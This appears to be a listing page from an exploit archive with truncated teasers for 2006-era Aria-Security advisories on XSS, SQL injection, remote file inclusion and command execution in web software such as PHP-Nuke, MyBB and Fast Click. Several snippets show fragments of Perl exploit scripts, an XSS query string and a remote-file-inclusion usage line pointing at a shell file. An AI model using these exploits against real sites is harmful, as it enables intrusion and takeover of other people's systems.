CMSimple Cross Site Scripting

Aria-Security.net Advisory Discovered by: OUTLAW www.Aria-security.net Gr33t to: A.u.r.a & l2odon & R@1D3N @ DrtRp & Cl0wn Software: CMSimple Attack method: Cross Site Scripting Original advisory:http://www.aria-security.net/advisory/cmsimple.txt Proof of Concept: Search in:...

phpnukeXSSaria.txt

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: l2odon Gr33t to: O.U.T.L.A.W & A.u.r.a & DrtRp & Cl0wn ----------------------------------------------------------- Software: PHP-Nuke INP Description: PHP-Nuke INP is the modified version of...

wwwthreadsXSS.txt

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: l2odon Gr33t to: A.u.r.a & O.U.T.L.A.W & R@1D3N @ DrtRp & Cl0wn ----------------------------------------------------------- Software: wwwThreads Attack method: Cross Site Scripting Original...

phpauction.txt

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: l2odon Gr33t to: A.u.r.a & O.U.T.L.A.W & R@1D3N @ DrtRp & Cl0wn ----------------------------------------------------------- Software: PHP-Auction Vendor: http://www.vhcs.net Attack method: SQL...

PHP-Nuke - 'INP modules.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/19208/info PHPNuke INP is prone to a cross-site scripting vulnerability that affects the 'modules.php' script. The specific version affected is currently unknown. http://www.example.com/path/modules.php?name=Downloads&op=search&query=alert'ARIA'...

wwwThreads XSS

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: l2odon www.Aria-security.net Gr33t to: A.u.r.a & O.U.T.L.A.W & R@1D3N @ DrtRp & Cl0wn ----------------------------------------------------------- Software: wwwThreads Attack method: Cross Site...

PHP-Auction SQL injection

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: l2odon www.Aria-security.net Gr33t to: A.u.r.a & O.U.T.L.A.W & R@1D3N @ DrtRp & Cl0wn ----------------------------------------------------------- Software: PHP-Auction Vendor: http://www.vhcs.net...

EJ3 TOPo 2.2 - 'descripcion' Remote Command Execution

!/usr/bin/perl EJ3 TOPO 2.2 Remote Code Execution Exploit --------------------------------------------- Note : This Exploit Just run TOPO 2.2 IHST : www.Hackerz.Ir AST : www.aria-security.net Coded & Discovered By Hessam-x use LWP::UserAgent; use LWP::Simple; use HTTP::Cookies; $host = $ARGV0; $u...

MyBulletinBoard (MyBB) 1.1.3 - 'usercp.php' Create Admin

!/usr/bin/perl MyBulletinBoard MyBB new or die; $cookiejar = HTTP::Cookies-new; $xpl-cookiejar $cookiejar ; $res = $xpl-post$url.'member.php', Content = "action" = "dologin", "username" = "$uname", "password" = "$passwd", "submit" = "Login", ,; if$cookiejar-asstring = /mybbuser=.?;/ print...

igloo DoubleSpeak v 0.1 Multiple remote file inclusion

igloo DoubleSpeak v 0.1 Multiple remote file inclusion ----------------------------------------------------- Aria-security.com advisory Bug Discovered by R@1D3N amin emami Original Advisory:http://www.aria-security.net/advisory/igloo/doublespeak.txt email:[email protected] Date:12/06/2006...

vbulletin security Alert

---------------------------------------------------------- Discovered by: Aura ARIA - SECURITY TEAM Gr33t to: O.U.T.L.A.W & R@1D3N & Smok3r ----------------------------------------------------------- » Vendor: Vbulletin » Summary: vbulletin is a powerfull Forum System »Description An administrato...

fastclicklite113.txt

Fast Click SQL Lite ----------- Fix : Contact the Vendor =========================================================== Aria Security Research Http://www.aria-security.net...

fastclick238.txt

Fast Click ----------- Fix : Contact the Vendor =========================================================== Aria Security Research Http://www.aria-security.net...

Fast Click <= 2.3.8 Remote File Inclusion

Fast Click = 2.3.8 Remote File Inclusion ------------------------------------------------------- Aria-security.com advisory Bug Discovered by R@1D3N amin emami email:[email protected] and [email protected] Date:02/05/2006 original...

vhcsXSS.txt

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.u.r.a & R@1D3N & Smok3r ----------------------------------------------------------- Software: VHCS Link: http://www.vhcs.net Attack method: Cross Site Scripting...

Fast Click 1.1.32.3.8 - show.php Remote File Inclusion

Fast Click 1.1.32.3.8 - show.php Remote File Inclusion !/usr/bin/perl Fast Click perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// ||...

Thyme 1.3 Cross Site Scripting

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.u.r.a & R@1D3N & Smok3r ----------------------------------------------------------- » Software: Thyme 1.3 » Link:...

VHCS --- Virtual Hosting Control System Cross Site Scripting

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.u.r.a & R@1D3N & Smok3r ----------------------------------------------------------- Software: VHCS Link: http://www.vhcs.net Attack method: Cross Site...

Fast Click (<= 1.1.3 <= 2.3.8) (show.php) Remote File Inclusion Exploit

No description provided by source. !/usr/bin/perl Fast Click = 2.3.8 Remote File Inclusion exploit Bug discovered and cod3d by R@1D3N amin emami Greet:Outlaw - Aura - Dltrp - Cl0wn - B3HZAD - sm0k3r - Exploitercode - Str0ke and all persian Cyber team http://www.aria-security.net...

thyme13.txt

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.u.r.a & R@1D3N & Smok3r ----------------------------------------------------------- » Software: Thyme 1.3 » Link: http://www.extrosoft.com/products/thyme/demo/index.php »...